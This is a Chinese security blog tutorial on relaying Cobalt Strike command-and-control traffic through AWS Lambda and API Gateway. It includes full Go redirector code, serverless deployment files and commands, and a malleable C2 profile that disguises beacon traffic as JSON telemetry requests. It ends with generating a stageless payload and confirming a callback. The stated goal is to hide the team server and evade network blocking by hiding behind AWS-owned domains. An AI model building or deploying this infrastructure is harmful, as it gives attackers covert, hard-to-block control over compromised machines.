【中级篇】使用AWS Lambda转发 Cobalt Strike 流量

  • A+
所属分类:安全文章

简介

本文主要介绍借助AWS Lambda服务来实现Cobalt Strike数据的转发。因AWS Lambda是AWS官方所提供的服务,所以借助其转发流量具有加密传输、高信誉IP/域名的特点。

相关名词

AWS Lambda:由AWS提供的云函数服务,可在无需购买和管理服务器的情况下运行代码

API Gateway:由AWS提供的API接口服务,可以结合Lambda,实现通过API调用函数

serverless:本文中serverless指的是Serverless Framework,一个可以创建和部署云函数的框架,支持多个服务商的云函数监控、调试和部署等功能

工作原理

【中级篇】使用AWS Lambda转发 Cobalt Strike 流量

[来源]    https://blog.xpnsec.com/

Lambda中运行的函数是一个简单的http代理,通过API Gateway暴露在公网。所有对API Gateway的访问请求经过Redirector Function的处理都会转发到team server。靶机只与API Gateway交互,从而隐藏team server的IP

环境和工具

  • AWS账户一枚:开启Lambda 和 API Gateway 两个服务

  • Ubuntu server:用于运行Serverless Framework,编译和部署serverless application到AWS Lambda

Notice: Serverless在 Linux/Mac OS/Windows 均可安装,详见https://serverless.com/framework/docs/getting-started/

  • 公网Cobalt Strike服务器:流量需要经公网转发,需要公网服务器。如果不具备条件请考虑ngrok、花生壳、frp等内网映射工具

准备工作

  • 在Ubuntu server上安装Serverless Framework

  • 登陆AWS控制台,生成一对API Key & Secret,参考文档 AWS - Credentials

  • 在serverless中配置API Key & Secret

    serverless config credentials --provider aws --key 1234 --secret 5678
  • 在Ubuntu server中安装golang编译环境,参考golang官方文档https://golang.org/doc/install#install

  • 安装golang AWS Lambda 库

    go get github.com/aws/aws-lambda-go/lambda

创建相关文件

创建如下目录结构

aws_redictor/
|-- Makefile
|-- redictor # 函数文件夹
|   |-- main.go # 主程序代码
|-- serverless.yml # 部署配置文件

Makefile

.PHONY: build clean deploy

build:
  env GOOS=linux go build -ldflags="-s -w" -o bin/redirector redirector/main.go

clean:
   rm -rf ./bin

deploy: clean build
  sls deploy --verbose

main.go

package main

import (
"crypto/tls"
"encoding/base64"
"io/ioutil"
"log"
"net/http"
"net/url"
"os"
"strings"

"github.com/aws/aws-lambda-go/events"
"github.com/aws/aws-lambda-go/lambda"
)

type Response events.APIGatewayProxyResponse

func Handler(request events.APIGatewayProxyRequest) (events.APIGatewayProxyResponse, error) {

var bodyDecoded []byte
var body []byte
var err error
var outboundHeaders map[string]string

teamserver := os.Getenv("TEAMSERVER")
client := http.Client{}

// Set to allow invalid HTTPS certs on the back-end server
http.DefaultTransport.(*http.Transport).TLSClientConfig = &tls.Config{InsecureSkipVerify: true}

// Build our request URL as received to pass onto CS
url, err := url.Parse(teamserver + "/" + request.RequestContext.Stage + request.Path)

// Extract any provided query parameters
if request.QueryStringParameters != nil {
q := url.Query()
for key, value := range request.QueryStringParameters {
q.Set(key, value)
}
url.RawQuery = q.Encode()
}

// Handle potential base64 encoding of body
if request.IsBase64Encoded {
bodyDecoded, err = base64.StdEncoding.DecodeString(request.Body)
if err != nil {
log.Fatalf("Error base64 decoding AWS request body: %v", err)
}
} else {
bodyDecoded = []byte(request.Body)
}

// Send the request to our Team Server
req, err := http.NewRequest(request.HTTPMethod, url.String(), strings.NewReader(string(bodyDecoded)))
if err != nil {
log.Fatalf("Error forwarding request to TeamServer: %v", err)
}

// Add our inbound headers to the request
for key, value := range request.Headers {
req.Header.Set(key, value)
}

// Forward the request to our TeamServer
resp, err := client.Do(req)
if err != nil {
log.Fatalf("Error forwarding request to TeamServer: %v", err)
}

// Parse the TS response headers
outboundHeaders = map[string]string{}

for key, value := range resp.Header {
outboundHeaders[key] = value[0]
}

// Store the TS response body
body, err = ioutil.ReadAll(resp.Body)
if err != nil {
log.Fatalf("Error receiving request from TeamServer")
}

// Forward the response onto beacon
return events.APIGatewayProxyResponse{StatusCode: resp.StatusCode, Body: string(body), Headers: outboundHeaders}, nil
}

func main() {
lambda.Start(Handler)
}

serverless.yml

service: lambda-front

frameworkVersion: ">=1.28.0 <2.0.0"

provider:
name: aws
runtime: go1.x
stage: api
region: us-west-1 # 可用区代码
environment:
  TEAMSERVER: ${opt:teamserver}

package:
exclude:
  - ./**
include:
  - ./bin/**

functions:
redirector:
  handler: bin/redirector
  events:
    - http:
        path: /{all+} # 接受所有请求url
        method: any # 接受所有协议

编译&部署

准备好以上文件后我们可以进行相关部署工作

cd ~/aws_redictor
Make
sls deploy --teamserver https://<your-domain.com>  # 此处一定要加https/http,否则报错

执行上述命令需要约2分钟,执行完毕后,将会得到如下返回

【中级篇】使用AWS Lambda转发 Cobalt Strike 流量

此时需要记下返回的url,在之后的创建listener时将会使用

编写Cobalt Strike Malleable Profile

我们需要修改交互方式以适应redirector代码的要求

lambda.profile

http-config {
   set trust_x_forwarded_for "true";
}

http-get {
   set uri "/api/fetch";
   client {
       metadata {
           base64url;
           netbios;
           base64url;
           parameter "token";
      }
  }

   server {
       header "Content-Type" "application/json; charset=utf-8";
       header "Cache-Control" "no-cache, no-store, max-age=0, must-revalidate";
       header "Pragma" "no-cache";

       output {
           base64;
           prepend "{"version":"2","count":"1","data":"";
           append ""}";
           print;
      }
  }
}

http-post {
   set uri "/api/telemetry";
   set verb "POST";

   client {
       parameter "action" "GetExtensibilityContext";
       header "Content-Type" "application/json; charset=utf-8";
       header "Pragma" "no-cache";

       id {
           parameter "token";
      }

       output {
           mask;
           base64;
           prepend "{"version":"2","report":"";
           append ""}";
           print;
      }
  }

   server {
       header "api-supported-versions" "2";
       header "Content-Type" "application/json; charset=utf-8";
       header "Cache-Control" "no-cache, no-store, max-age=0, must-revalidate";
       header "Pragma" "no-cache";

       output {
           base64url;
           prepend "{"version":"2","count":"1","data":"";
           append ""}";
           print;
      }
  }
}

// 如果你配置了https证书,那么你也需要填入以下内容,请自行替换文件名和密码。有关如何部署一个有效证书,请查阅我们之前的文章《隐藏Cobalt Strike C2 server——基本篇》中的CDN部分
https-certificate {
set keystore "<domain>.store";
set password "123456";
}

将profile应用于team server

./teamserver <ip_address> <password> </path/to/lambda.profile>

测试访问

启动team server后,直接访问http://< team server ip>/api/fetch会有如下json数据返回

{"version": "2","count": "1","data": ""}

说明team server工作正常

此时访问 https://< API ID >.execute-api.us-east-1.amazonaws.com/api/fetch 有同样的内容返回,说明lambda和API Gateway工作正常。如果工作异常,可以在https://console.aws.amazon.com/cloudwatch/home?region=us-east-1#logs中查找相关日志进行分析

创建listener&生成payload

如图所示创建listener,填入前面返回的地址

【中级篇】使用AWS Lambda转发 Cobalt Strike 流量

生成一个stageless payload

成功上线

两点提示

  • 为什么一定要用stageless payload:stage payload在上线时会首先请求文件名为四个随机字母的文件来加载profile中的相关配置,并且是直接与listen中所填的https host地址进行通信。在redirector代码中并没有对此进行转发,payload请求不到配置文件会直接闪退,如下图所示

    此外,Cobalt Strike作者在发布4.0版本后也表示以后会尽量使用stageless payload,因为相比之下stage payload更容易被识别

  • 即便没有在team server配置证书也要选择https beacon:因为与API Gateway交互数据使用的是https

总结

使用AWS Lambda + API Gateway 组合进行流量转发,域名是*.execute-api.us-east-1.amazonaws.com,IP段为AWS所属IP,交互过程https加密,有效防止了从网络这一途径阻断payload传输信息

参考资料

https://blog.xpnsec.com/aws-lambda-redirector/

本文主要文件均来源于上述文章,讲述的原理十分详细,但原作者所提供相关代码有bug,并且在有些地方未描述清楚,笔者对相关代码进行了修复,并补充了一些内容。

欢迎关注【宽字节安全】公众号,获取更多好玩的安全知识


本文始发于微信公众号(宽字节安全):【中级篇】使用AWS Lambda转发 Cobalt Strike 流量

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: